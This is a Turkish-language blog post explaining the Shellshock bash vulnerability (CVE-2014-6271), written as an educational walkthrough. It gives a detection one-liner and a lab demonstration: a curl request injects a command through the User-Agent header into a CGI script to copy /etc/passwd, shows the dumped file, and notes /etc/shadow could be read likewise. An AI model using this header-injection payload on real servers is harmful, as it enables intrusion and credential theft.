Shellshock Güvenlik Zafiyeti İncelemesi

Shellshock Güvenlik Zafiyeti İncelemesi
Şubat 18 14:25 2015 Yazıyı Yazdır

 

#!/bin/bash
Bash GNU işletim sistemi için bir kabuk ya da başka bir deyişle komut dili yorumlayıcısıdır.Unix kullanışı açısından sistem yöneticilerinin sürekli tercih edildiği için en sık kullanılan kabuk uygulamadır.
Bash üzerinden sisteminize kullanıcı ekleyip çıkarabilir,çalışan servisleri yönetebilir,uygulama kurabilirsiniz.

Bash‘in çalışma mantığı Windows sistemlerde kullanılan değişkenlerle aynıdır.Yeni bir kabuk oluşturulduğu zaman bu kabuğa ait değişkenler sisteme göre uyarlanır ve çalıştırılır. Saldırgan bu zafiyet ile çalışan ortam değişkenlerinden sonra sistem üzerinde çalıştırmak istediği kodu da üstüne katarak ortam değişkenleri görevlerine ayrıldıktan sonra kodların ilgili process yetkileri ile sistem üzerinde eklediği kodu çalıştırabilir.

Bazı modüller bu zaafiyetten en üst düzeyde etkilendi.Bunların başında mod_cgid ve mod_cgi gelmektedir.Bu modulleri apache ve web sunucuları sıklıkla kullandığı için bu zaafiyetten en çok etkilenen sistemlerdir. Sonra ssh terminalleri, sshd_config içinde başlatılması öncesinde kullanılan ForceCommand özelliğinin atlatılmasında kullanılabilir ve bu özelliği tamamen devre dışı bırakabilir.SSH üzerinde çalışan bazı git uygulamarı da bu zaafiyetten fazlasıyla etkilenebilir. Şimdi hep birlikte bu zaafiyeti biraz inceleyelim;

Zafiyetin Tespiti

env x=’() { :;}; echo vulnerable’ bash -c “echo this is a test”

Bash kabuğu üzerinde çalıştırılan bu komut zaafiyetten bir örnektir.
Bu komutun çıktısı ise şu şekilde olursa ;
vulnerable
this is a test
sistem üzerinde zaafiyetin olduğunun işaretidir.
Eğer ki ;
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x’
this is a test
çıktısı alınırsa demek ki sistem üzerindeki zaafiyet kapanmıştır.

Uygulamalı olarak bakacak olursak ;
Bu saldırı bash kabuğunda komutları çalıştıran bir cgi uygulamasındaki zafiyeti exploit (istismar) ederek sunucu üzerindeki kullanıcı adı ve şifrelerini elde etmeyi sağlıyor.
Zafiyetin test edilmesi için kurulan bir uygulama ortamında cgi betiklerinin “/usr/lib/cgi-bin” dizini altında cgi ve apache modüllerinin çalıştığını varsayarak eğer şöyle bir durum olacaktır ;
d4rk@h4ck:/usr/lib/cgi-bin# cat test2.cgi
#!/bin/bash
echo “Content-type: text/html”
echo “”
echo “H4cktimes”

Aşağıda yazılan komut istemci tarafından çalıştırılmaktadır. cURL uygulaması ile http başlığına eklenen “User-Agent” adındaki zararlı kod, sunucu tarafından çalıştırılan cgi uygulamasına istek yapar. Bu zararlı kod apache servisindeki yetkiler doğrultusunda çalışacaktır.
[dark@h4ck ~]$ curl -k -H ’User-Agent: () { :;}; /bin/cat “/etc/passwd” > /tmp/h4cktimes’ http://192.168.127.127/test2.cgi

Bu kod çalıştırıldıktan sonra sunucu üzerindeki kullanıcıların bilgisinin bulunduğu passwd dosyasını /tmp/h4cktimes dosyasına yazar..Bu saldırı türü tamamen saldırganın hayal gücüne göre kritikliğini değiştirebilir. Örneğin passwd dosyası kopyalanacağı gibi sunucu üzerindeki kullanıcı şifre özeti olan “shadow” dosyası da bu yöntemle okunabilir..
d4rk@h4cktimes:~$ cat /tmp/H4cktimes
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobOdy:x:65534:65534:nobOdy:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
H4cktimes:x:1000:1000:H4cktimes:/home/H4cktimes:/bin/bash
ftp:x:1001:33:pureftpd user:/bin/null:/bin/false

 

Zaafiyet, getirilen güncellemeler sonucunda şimdi ki sistemlerde geçerliliğini kaybetmiştir. CVE-2014-6271 

  Etiketler:
  Kategori:
daha fazla yazı

Yazar Hakkında

Hakkı Yüce
Hakkı Yüce

Bilgisayar ile tanışmam 1999 yılında oldu, 2000’li yılların başlarında strateji oyunlarıyla (abimin oyun zevkine göre tabii (: ) vakit geçirdikten sonra .. 2007 yılında yazılım geliştirmeye merak sardım. 3 yıl basit game mode programlamalarıyla uğraştıktan sonra 2010 yılında yazılım geliştirme konusunda kendimi geliştirip daha profesyonel çalışmalar ile uğraşmaya başladım .. Bununla birlikte genç yaşlarda bilgisayarlarla uğraşan her gençte olduğu gibi hacking konusunada merak sardım .. Siber güvenlik konusunda araştırmalar yaparak kendimi geliştirmeye başladım .. Yazılım ve Siber Güvenlik konusunda araştırmalar yapmaya ve kendimi geliştirmeye devam ediyorum.

Daha Fazla Yazı
yorum yapın

Yorum Yok

Henüz yorum yapılmamış

İlk yorumu siz yapabilirsiniz.

Yorum ekleyin

Bilgileriniz güvende! E-posta adresiniz yayınlanmayacak. Diğer kişisel bilgileriniz üçüncü partilerle paylaşılmayacak.
* işaretli alanlar zorunludur.

Time limit is exhausted. Please reload CAPTCHA.